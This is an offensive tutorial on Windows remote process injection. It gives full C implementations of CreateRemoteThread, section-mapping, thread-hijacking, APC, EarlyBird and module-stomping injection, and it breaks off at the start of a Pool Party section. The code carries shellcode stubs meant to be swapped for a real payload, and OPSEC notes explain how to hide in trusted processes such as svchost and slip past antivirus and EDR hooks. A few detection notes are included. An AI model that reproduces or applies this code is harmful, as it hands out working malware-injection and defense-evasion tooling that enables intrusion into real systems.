Legend:
[INJECT]= Injection technique |[NATIVE]= Native API / NTAPI |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[MITRE]= ATT&CK mapping
1. What is Remote Mapping Injection?
What it means: Remote mapping injection is the family of techniques where an attacker writes and executes shellcode inside a different process's virtual address space — the target/victim process. "Remote" here means cross-process, not network-remote. The injecting process never directly executes the shellcode; instead it arranges for the victim process to execute it.
Why it matters:
Without injection:
loader.exe runs → AV sees loader.exe doing suspicious things → killed
With injection:
loader.exe injects into → svchost.exe or explorer.exe
AV sees: legitimate process doing network I/O
Your shellcode runs hidden inside trusted process memory
The core problem injection solves:
| Problem | Solution via Injection |
|---|---|
| Process flagged by AV | Run under a trusted process identity |
| EDR monitors your process | Switch context to a process with fewer hooks |
| Firewall blocks unknown process | Blend traffic under svchost.exe |
| Privilege required | Inject into higher-privilege process |
| Suspicious parent-child tree | Spoof or blend via trusted host |
MITRE ATT&CK: [MITRE] T1055 — Process Injection (parent technique)
Sub-techniques covered in this document:
T1055.001 — Dynamic-link Library Injection
T1055.002 — Portable Executable Injection
T1055.003 — Thread Execution Hijacking
T1055.004 — Asynchronous Procedure Call (APC Queue)
T1055.012 — Process Hollowing (related)
2. Injection Primitives — The Three Stages
What it means: Every remote injection technique — no matter how advanced — is built from exactly three primitives chained together:
Stage 1: ALLOCATE
└── Reserve memory in the target process address space
APIs: VirtualAllocEx, NtAllocateVirtualMemory, NtMapViewOfSection
Stage 2: WRITE
└── Copy your shellcode into that memory
APIs: WriteProcessMemory, NtWriteVirtualMemory, memcpy (to mapped view)
Stage 3: EXECUTE
└── Force the target process to run the shellcode
APIs: CreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread,
QueueUserAPC, NtQueueApcThread, SetThreadContext, ResumeThread
Why EDRs focus on these three stages:
EDR detection model:
┌─────────────┐ ┌─────────────┐ ┌─────────────────┐
│ ALLOCATE │ → │ WRITE │ → │ EXECUTE │
│ (low noise) │ │ (low noise) │ │ (HIGH NOISE) │
└─────────────┘ └─────────────┘ └─────────────────┘
↑ ↑ ↑
Rarely flagged Rarely flagged EDR focuses here
(thread creation, APC)
[OPSEC] Modern EDRs hook the execute primitive hardest. Techniques like Pool Party and section mapping succeed by replacing the noisy execution primitive with a legitimate-looking trigger.
3. Classic Remote Thread Injection (CreateRemoteThread)
[INJECT] The most fundamental and well-known remote injection technique. Allocates memory in the target, writes shellcode, and creates a new thread to execute it.
MITRE: T1055 (base technique, CRT variant)
3.1 How it Works
Injection flow:
1. OpenProcess(PROCESS_ALL_ACCESS, PID) → get handle to target
2. VirtualAllocEx(handle, NULL, size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE) → allocate RWX memory
3. WriteProcessMemory(handle, addr,
shellcode, size, NULL) → write shellcode bytes
4. CreateRemoteThread(handle, NULL, 0,
addr, NULL, 0, NULL) → new thread at shellcode
5. Thread runs → shellcode executes
3.2 C Implementation
// classic_remote_inject.c — CreateRemoteThread shellcode injection
// Compile: x86_64-w64-mingw32-gcc classic_remote_inject.c -o inject.exe
#include <windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
// ... (truncated — replace with your payload)
};
unsigned int shellcode_len = sizeof(shellcode);
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <PID>\n", argv[0]);
return 1;
}
DWORD pid = atoi(argv[1]);
// ── Step 1: Open handle to target process ─────────────────────
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | // needed for CreateRemoteThread
PROCESS_QUERY_INFORMATION | // needed to inspect process
PROCESS_VM_OPERATION | // needed for VirtualAllocEx
PROCESS_VM_READ | // needed for ReadProcessMemory
PROCESS_VM_WRITE, // needed for WriteProcessMemory
FALSE,
pid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Handle to PID %lu: 0x%p\n", pid, hProcess);
// ── Step 2: Allocate RWX memory in target process ─────────────
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
shellcode_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE // RWX — noisy but simple
);
if (!remoteBuffer) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Remote buffer allocated at: 0x%p\n", remoteBuffer);
// ── Step 3: Write shellcode into remote buffer ─────────────────
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_len, &written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Wrote %zu bytes to 0x%p\n", written, remoteBuffer);
// ── Step 4: Create remote thread at shellcode address ──────────
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL, // default security
0, // default stack size
(LPTHREAD_START_ROUTINE)remoteBuffer, // start at shellcode
NULL, // no parameter
0, // run immediately
NULL // don't capture thread ID
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[+] Remote thread created: 0x%p\n", hThread);
printf("[+] Shellcode executing in PID %lu\n", pid);
// Optional: wait for thread to complete
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
3.3 RW → RX Memory Flip (Stealthier)
Instead of RWX memory (very noisy), allocate RW, write, then flip to RX:
// ── Step 2: Allocate RW memory (no execute yet) ───────────────────
LPVOID remoteBuffer = VirtualAllocEx(
hProcess, NULL, shellcode_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE // RW only — less suspicious
);
// ── Step 3: Write shellcode ───────────────────────────────────────
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_len, NULL);
// ── Step 3b: Change protection to RX (no write needed anymore) ────
DWORD oldProtect = 0;
VirtualProtectEx(
hProcess, remoteBuffer, shellcode_len,
PAGE_EXECUTE_READ, // RX — execute only, no write
&oldProtect
);
// ── Step 4: CreateRemoteThread as before ──────────────────────────
CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
[DETECT] EDR catches: OpenProcess with PROCESS_VM_WRITE, VirtualAllocEx + WriteProcessMemory sequence, CreateRemoteThread with start address in heap/non-module memory. Sysmon Event ID 8 (CreateRemoteThread) logs this directly.
[EVASION] Classic injection is highly detected. Use it only in environments with no EDR or as a baseline test.
4. Section Mapping Injection (NtCreateSection + NtMapViewOfSection)
[INJECT] [NATIVE] The most powerful and stealthy remote mapping technique. Creates a shared memory section (Windows Section Object) and maps it into both the local and target processes. Writing to the local view is automatically reflected in the remote view — no WriteProcessMemory call needed.
MITRE: T1055 | EDR Noise Level: Low-Medium
4.1 Why Section Mapping Is Stealthier
Classic injection vs Section Mapping:
Classic CRT Section Mapping
────────────────── ────────────────── ────────────────────────────
Memory alloc: VirtualAllocEx NtMapViewOfSection
Write shellcode: WriteProcessMemory memcpy() locally (reflected)
Execute: CreateRemoteThread RtlCreateUserThread
RWX allocation: YES (in target) NO — RW local, RX remote
VirtualAllocEx: YES (noisy) NO — never called
WPM in remote: YES (noisy) NO — never called
EDR signature: DETECTED Harder to detect
4.2 How it Works
Section Mapping flow:
1. NtCreateSection(sectionHandle, RWX, size, PAGE_EXECUTE_READWRITE, SEC_COMMIT)
└── Creates a named/unnamed shared memory section (kernel object)
2. NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localAddr, PAGE_READWRITE)
└── Maps section into OUR process with RW access
We can write shellcode here
3. NtMapViewOfSection(sectionHandle, targetProcess, &remoteAddr, PAGE_EXECUTE_READ)
└── Maps same section into TARGET process with RX access
Whatever we write to localAddr appears here automatically
4. memcpy(localAddr, shellcode, size)
└── Copy shellcode into local view → auto-mirrored into target
5. RtlCreateUserThread(targetProcess, NULL, remoteAddr, ...)
└── Trigger execution in target at remoteAddr
4.3 Required Structures and Type Definitions
// section_inject_types.h — NTAPI typedefs needed for section injection
#include <windows.h>
#pragma comment(lib, "ntdll")
// UNICODE_STRING and OBJECT_ATTRIBUTES (for NTAPI calls)
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// Function pointer typedefs for NtCreateSection, NtMapViewOfSection, RtlCreateUserThread
typedef NTSTATUS (NTAPI *pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributes,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN SIZE_T CommitSize,
IN PLARGE_INTEGER SectionOffset OPTIONAL,
OUT PSIZE_T ViewSize,
IN DWORD InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect
);
typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN PULONG StackReserved,
IN PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
4.4 Full C Implementation
// section_mapping_inject.c — NtCreateSection + NtMapViewOfSection injection
// Compile: x86_64-w64-mingw32-gcc section_mapping_inject.c -o inject.exe -lntdll
#include <windows.h>
#include <stdio.h>
#include "section_inject_types.h" // typedefs above
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
// ... replace with your payload
};
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <PID>\n", argv[0]);
return 1;
}
DWORD targetPid = atoi(argv[1]);
// ── Resolve NTAPI functions dynamically from ntdll ─────────────
HMODULE hNtdll = GetModuleHandleA("ntdll");
pNtCreateSection fNtCreateSection = (pNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection fNtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
pRtlCreateUserThread fRtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(hNtdll, "RtlCreateUserThread");
if (!fNtCreateSection || !fNtMapViewOfSection || !fRtlCreateUserThread) {
printf("[-] Failed to resolve NTAPI functions\n");
return 1;
}
HANDLE sectionHandle = NULL;
PVOID localSectionAddr = NULL;
PVOID remoteSectionAddr = NULL;
SIZE_T viewSize = 4096; // 1 page; increase for larger payloads
LARGE_INTEGER sectionSize = { (LONGLONG)viewSize };
// ── Step 1: Create a shared memory section ─────────────────────
NTSTATUS status = fNtCreateSection(
§ionHandle,
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, // no object attributes (anonymous)
(PLARGE_INTEGER)§ionSize,
PAGE_EXECUTE_READWRITE, // section page protections
SEC_COMMIT, // commit the section immediately
NULL // no backing file (memory-only)
);
printf("[*] NtCreateSection status: 0x%X | Handle: 0x%p\n", status, sectionHandle);
// ── Step 2: Map local (RW) view into THIS process ──────────────
status = fNtMapViewOfSection(
sectionHandle,
GetCurrentProcess(),
&localSectionAddr,
0, 0, NULL,
&viewSize,
2, // ViewUnmap (child processes don't inherit)
0, // no extra allocation type
PAGE_READWRITE // local: write-only (no need to exec here)
);
printf("[*] Local view mapped at: 0x%p (RW)\n", localSectionAddr);
// ── Step 3: Open target process and map remote (RX) view ───────
HANDLE hTarget = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
FALSE,
targetPid
);
if (!hTarget) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return 1;
}
status = fNtMapViewOfSection(
sectionHandle,
hTarget, // TARGET process, not us
&remoteSectionAddr,
0, 0, NULL,
&viewSize,
2,
0,
PAGE_EXECUTE_READ // remote: execute-only (no write bit!)
);
printf("[*] Remote view mapped at: 0x%p (RX) in PID %lu\n", remoteSectionAddr, targetPid);
// ── Step 4: Write shellcode to LOCAL view — mirrors to remote ──
// Note: no WriteProcessMemory! Local memcpy reflects into target.
memcpy(localSectionAddr, shellcode, sizeof(shellcode));
printf("[+] Shellcode copied to local section (auto-mirrored to target)\n");
// ── Step 5: Trigger execution in target process ────────────────
HANDLE hRemoteThread = NULL;
CLIENT_ID cid = { 0 };
status = fRtlCreateUserThread(
hTarget,
NULL, // no security descriptor
FALSE, // not suspended — execute immediately
0, // stack zero bits
NULL, NULL, // stack reserved/commit (use defaults)
remoteSectionAddr, // start address = remote shellcode
NULL, // no parameter
&hRemoteThread,
&cid
);
printf("[+] RtlCreateUserThread status: 0x%X | Thread: 0x%p\n", status, hRemoteThread);
printf("[+] Shellcode executing in PID %lu at 0x%p\n", targetPid, remoteSectionAddr);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hTarget);
CloseHandle(sectionHandle);
return 0;
}
4.5 Why RW Local + RX Remote is Stealthier
Memory protection breakdown:
Local process (injector):
├─ localSectionAddr → PAGE_READWRITE (no execute bit!)
└─ We write here — fine, no RWX alarm
Remote process (target):
├─ remoteSectionAddr → PAGE_EXECUTE_READ (no write bit!)
└─ Target executes here — legitimate RX region
EDR sees in target:
├─ No VirtualAllocEx call
├─ No WriteProcessMemory call
├─ Memory is RX (not RWX) — maps look like legit DLL-backed memory
└─ Only suspicious artifact: RtlCreateUserThread starting in a mapped view
[OPSEC] This is the primary advantage of section mapping — the target process never has an RWX page. Many EDR heuristics specifically hunt for RWX allocations.
[DETECT] Sysmon can still catch this via CreateRemoteThread/RtlCreateUserThread events. Advanced EDRs monitor NtMapViewOfSection calls targeting external processes.
5. Thread Hijacking Injection (SuspendThread / SetThreadContext)
[INJECT] Targets an already existing thread in the victim process. No new thread is created — avoids CreateRemoteThread detection entirely. The existing thread's instruction pointer (RIP) is hijacked mid-execution.
MITRE: T1055.003 — Thread Execution Hijacking
5.1 How it Works
Thread hijacking flow:
1. Find a thread in the target process (CreateToolhelp32Snapshot)
2. SuspendThread(threadHandle) → freeze it mid-execution
3. GetThreadContext(threadHandle) → read its current registers (RIP, etc.)
4. VirtualAllocEx → WriteProcessMemory → write shellcode
5. Build a small trampoline:
push <original_RIP> → save return address
ret → after shellcode, resume original flow
6. SetThreadContext — redirect RIP to shellcode address
7. ResumeThread(threadHandle) → thread resumes at our shellcode
5.2 C Implementation
// thread_hijack_inject.c — Thread Execution Hijacking
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your shellcode */ };
// Find the first thread of a given process
DWORD GetFirstThreadId(DWORD pid) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD tid = 0;
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tid = te.th32ThreadID;
break;
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
return tid;
}
int main(int argc, char *argv[]) {
if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
DWORD pid = atoi(argv[1]);
// ── Step 1: Find a thread to hijack ───────────────────────────
DWORD tid = GetFirstThreadId(pid);
printf("[*] Target thread ID: %lu\n", tid);
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, tid
);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid
);
// ── Step 2: Suspend the thread ─────────────────────────────────
SuspendThread(hThread);
printf("[+] Thread suspended\n");
// ── Step 3: Get thread context (save original RIP) ─────────────
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
printf("[*] Original RIP: 0x%llx\n", ctx.Rip);
// ── Step 4: Allocate + write shellcode ────────────────────────
LPVOID shellAddr = VirtualAllocEx(
hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);
// Optional: Write a trampoline to jump back to original RIP after shellcode
// Shellcode must be written to preserve thread state (push regs / pop regs)
// For simple PoC, we just redirect RIP directly:
// ── Step 5: Set RIP to shellcode ──────────────────────────────
ctx.Rip = (DWORD64)shellAddr;
SetThreadContext(hThread, &ctx);
printf("[+] RIP redirected to: 0x%p\n", shellAddr);
// ── Step 6: Resume thread (now executes our shellcode) ─────────
ResumeThread(hThread);
printf("[+] Thread resumed — shellcode executing\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
[OPSEC] Thread hijacking risk: The victim thread is abruptly redirected. If shellcode doesn't restore original registers and return to the original RIP, the target process will crash. Always implement a trampoline or use shellcode that properly restores thread context.
[DETECT] Less detected than CreateRemoteThread because no new thread is spawned. However, SuspendThread + SetThreadContext on a thread owned by another process is a telltale API sequence that advanced EDRs flag.
6. APC Queue Injection
[INJECT] Uses Windows Asynchronous Procedure Calls (APC) to queue shellcode execution on a thread of the target process. The thread must enter an alertable state (e.g., calling SleepEx, WaitForSingleObjectEx) for the APC to fire.
MITRE: T1055.004 — Asynchronous Procedure Call
6.1 How it Works
APC Queue injection flow:
1. OpenProcess + VirtualAllocEx + WriteProcessMemory (same as classic)
2. Find threads in target process (Toolhelp32Snapshot)
3. OpenThread(THREAD_SET_CONTEXT, ..., tid)
4. QueueUserAPC(shellcodeAddr, hThread, NULL)
└── Shellcode is queued in the APC queue of that thread
5. Wait... until thread enters alertable state:
└── SleepEx(duration, TRUE)
└── WaitForSingleObjectEx(handle, timeout, TRUE)
└── MsgWaitForMultipleObjectsEx(...)
6. Thread drains APC queue → executes shellcode
Drawback: Can only queue to threads in alertable state
Solution: Queue to ALL threads — one will eventually become alertable
6.2 C Implementation
// apc_inject.c — APC Queue shellcode injection
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your payload */ };
int main(int argc, char *argv[]) {
if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
DWORD pid = atoi(argv[1]);
// ── Step 1: Open target process ───────────────────────────────
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, FALSE, pid
);
// ── Step 2: Allocate + write shellcode ────────────────────────
LPVOID shellAddr = VirtualAllocEx(
hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);
printf("[+] Shellcode at: 0x%p in PID %lu\n", shellAddr, pid);
// ── Step 3: Enumerate threads and queue APC to each ───────────
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
int queueCount = 0;
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT, FALSE, te.th32ThreadID
);
if (hThread) {
// Queue shellcode as APC on this thread
DWORD result = QueueUserAPC(
(PAPCFUNC)shellAddr, // APC routine = shellcode
hThread,
0
);
if (result) {
printf("[+] APC queued to thread %lu\n", te.th32ThreadID);
queueCount++;
}
CloseHandle(hThread);
}
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
printf("[+] APC queued to %d threads — waiting for alertable state\n", queueCount);
CloseHandle(hProcess);
return 0;
}
[OPSEC] APC injection is reliable only if the target thread enters an alertable state. For processes like explorer.exe, this happens frequently. For services that never call alertable waits, execution may never trigger.
7. EarlyBird APC Injection
[INJECT] A refinement of APC injection — one of the most stealthy techniques. Instead of targeting an existing process with alertable threads, a new process is created in a suspended state, shellcode is injected before any EDR hooks initialize, then the APC is queued before the process even starts. When the process resumes, it immediately drains the APC queue and executes shellcode.
MITRE: T1055.004 | EDR Noise: Very Low (hooks haven't loaded yet)
7.1 Why EarlyBird is Stealthy
Normal injection: process is running → EDR hooks are already in place
EarlyBird timing:
CreateProcess(..., CREATE_SUSPENDED)
└── Process is created but NOT started
└── DLLs (including ntdll) not yet initialized
└── EDR user-mode hooks NOT YET INSTALLED
↓
VirtualAllocEx + WriteProcessMemory + QueueUserAPC
↓ (now resume)
ResumeThread()
└── Process starts → LdrInitializeThunk runs
└── LdrInitializeThunk calls NtTestAlert → drains APC queue
└── OUR SHELLCODE RUNS before any EDR code in the process
7.2 C Implementation
// earlybird_inject.c — EarlyBird APC shellcode injection
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your payload */ };
int main() {
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0 };
// ── Step 1: Create a new process in suspended state ───────────
// Use a legitimate-looking target (svchost, explorer, etc.)
BOOL created = CreateProcessA(
"C:\\Windows\\System32\\svchost.exe", // legitimate binary
NULL,
NULL, NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // KEY: suspended
NULL, NULL,
&si, &pi
);
if (!created) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process created (suspended) PID: %lu | TID: %lu\n",
pi.dwProcessId, pi.dwThreadId);
// ── Step 2: Allocate memory and write shellcode ────────────────
LPVOID shellAddr = VirtualAllocEx(
pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(pi.hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);
printf("[+] Shellcode written to: 0x%p\n", shellAddr);
// ── Step 3: Queue APC to the main (suspended) thread ──────────
// This APC will fire when the thread is resumed and becomes alertable
// LdrInitializeThunk automatically calls NtTestAlert, which drains APC queue
QueueUserAPC(
(PAPCFUNC)shellAddr, // our shellcode as APC routine
pi.hThread, // the suspended main thread
0
);
printf("[+] APC queued to thread %lu\n", pi.dwThreadId);
// ── Step 4: Resume — shellcode fires before EDR hooks load ────
ResumeThread(pi.hThread);
printf("[+] Thread resumed — EarlyBird shellcode executing\n");
WaitForSingleObject(pi.hProcess, 3000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
[OPSEC] EarlyBird defeats many user-mode EDR hooks because execution happens before DllMain of EDR DLLs runs. However, EDRs that use kernel callbacks (PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine) and Early Cascade Injection detection (Outflank 2024) can still see it.
[DETECT] Sysmon: Look for CREATE_SUSPENDED flag on CreateProcess followed immediately by VirtualAllocEx + QueueUserAPC before ResumeThread.
8. Module Stomping (DLL Hollowing)
[INJECT] [EVASION] An advanced technique that injects shellcode directly into the memory of a legitimately loaded DLL inside the target process, then executes from that DLL's address space. The shellcode runs from what appears to be a legitimate Windows module — beating detections that check thread start addresses.
MITRE: T1055.001 (DLL variant) | EDR Noise: Low
8.1 How it Works
Module Stomping flow:
1. Inject a benign Windows DLL into the target (e.g., amsi.dll, winmm.dll)
→ LoadLibraryEx / CreateRemoteThread → LoadLibrary trick
2. Find the DLL's AddressOfEntryPoint in the target process
3. VirtualProtectEx → change DLL's .text section to RW (temporarily)
4. WriteProcessMemory → overwrite DLL entry point with shellcode
5. VirtualProtectEx → restore to RX protection
6. CreateRemoteThread with start = DLL entry point address
7. Thread executes — appears to start in amsi.dll / winmm.dll
8.2 Key Advantages Over Classic Injection
Thread start address (what EDR sees):
Classic CRT: → 0x00001234abcd (anonymous heap — SUSPICIOUS)
Module Stomping → amsi.dll!DllMain (legitimate DLL address — CLEAN)
Memory scan:
Classic: → Unmapped RWX region with shellcode bytes — DETECTED
Module Stomping → amsi.dll mapped region with shellcode — harder to flag
(DLL is "legitimate" from EDR perspective)
8.3 C Implementation
// module_stomp_inject.c — Module Stomping (amsi.dll) into remote process
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi")
unsigned char shellcode[] = { /* your payload */ };
// Helper: inject a DLL via LoadLibrary remote thread trick
BOOL RemoteLoadLibrary(HANDLE hProcess, const wchar_t *dllPath) {
// Allocate space for DLL path string in target
SIZE_T pathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
LPVOID remotePath = VirtualAllocEx(
hProcess, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
WriteProcessMemory(hProcess, remotePath, dllPath, pathLen, NULL);
// Create remote thread calling LoadLibraryW(dllPath)
FARPROC pLoadLibraryW = GetProcAddress(
GetModuleHandleA("kernel32.dll"), "LoadLibraryW"
);
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibraryW,
remotePath, 0, NULL
);
WaitForSingleObject(hThread, 3000);
CloseHandle(hThread);
VirtualFreeEx(hProcess, remotePath, 0, MEM_RELEASE);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
DWORD pid = atoi(argv[1]);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// ── Step 1: Inject amsi.dll into target ───────────────────────
wchar_t asmsiPath[] = L"C:\\Windows\\System32\\amsi.dll";
RemoteLoadLibrary(hProcess, asmsiPath);
printf("[+] amsi.dll injected into target\n");
// ── Step 2: Find amsi.dll in target's module list ─────────────
HMODULE modules[256] = { 0 };
DWORD modulesNeeded = 0;
EnumProcessModules(hProcess, modules, sizeof(modules), &modulesNeeded);
DWORD moduleCount = modulesNeeded / sizeof(HMODULE);
HMODULE amsiModule = NULL;
for (DWORD i = 0; i < moduleCount; i++) {
wchar_t modName[MAX_PATH] = { 0 };
GetModuleFileNameExW(hProcess, modules[i], modName, MAX_PATH);
if (wcsstr(modName, L"amsi.dll") != NULL) {
amsiModule = modules[i];
printf("[+] amsi.dll at: 0x%p in target\n", amsiModule);
break;
}
}
// ── Step 3: Get DLL entry point (AddressOfEntryPoint) ─────────
IMAGE_DOS_HEADER dosHdr = { 0 };
IMAGE_NT_HEADERS ntHdr = { 0 };
ReadProcessMemory(hProcess, amsiModule, &dosHdr, sizeof(dosHdr), NULL);
ReadProcessMemory(hProcess,
(BYTE *)amsiModule + dosHdr.e_lfanew, &ntHdr, sizeof(ntHdr), NULL
);
LPVOID entryPoint = (BYTE *)amsiModule +
ntHdr.OptionalHeader.AddressOfEntryPoint;
printf("[+] amsi.dll EntryPoint: 0x%p\n", entryPoint);
// ── Step 4: Change protection to RW and stomp shellcode ───────
DWORD oldProtect = 0;
VirtualProtectEx(
hProcess, entryPoint, sizeof(shellcode),
PAGE_READWRITE, &oldProtect
);
WriteProcessMemory(hProcess, entryPoint, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(
hProcess, entryPoint, sizeof(shellcode),
PAGE_EXECUTE_READ, &oldProtect // restore to RX — no write flag!
);
printf("[+] Shellcode stomped into amsi.dll entry point\n");
// ── Step 5: Execute from DLL entry point ──────────────────────
HANDLE hRemoteThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)entryPoint,
NULL, 0, NULL
);
printf("[+] Thread executing from amsi.dll+EntryPoint: 0x%p\n", entryPoint);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return 0;
}
[OPSEC] Choose DLLs that are not actively used by the target process. Stomping ntdll.dll will crash the process immediately. Good targets: amsi.dll, winmm.dll, winspool.drv (context-dependent).
9. Pool Party Injection (Thread Pool Abuse)
[INJECT] [EVASION] A set of 8 distinct injection variants using Windows user-mode thread pool objects, presented at Black Hat EU 2023 by SafeBreach. These techniques were found to be undetectable by all tested EDR products at time of disclosure. They avoid the classic execute primitive entirely.
MITRE: T1055 | EDR Noise: Very Low (bypassed all major EDRs at disclosure)
9.1 Core Concept
Normal injection: Allocation → Write → CREATE THREAD (noisy!)
Pool Party insight:
- EDRs primarily detect the EXECUTION primitive (thread creation, APC)
- What if we trigger execution by writing to a legitimate memory structure
that a thread pool worker already watches?
- Worker factory threads are always running, always alertable
- No new thread creation needed
Windows Thread Pool architecture:
┌──────────────────────────────┐
│ TpWorkerFactory │ ← manages worker threads
│ ├── Worker threads │ ← already running
│ ├── TP_WORK items │ ← queued work items
│ ├── TP_WAIT items │ ← waitable items
│ └── TP_IO items │ ← I/O completion items
└──────────────────────────────┘
9.2 Pool Party Variants
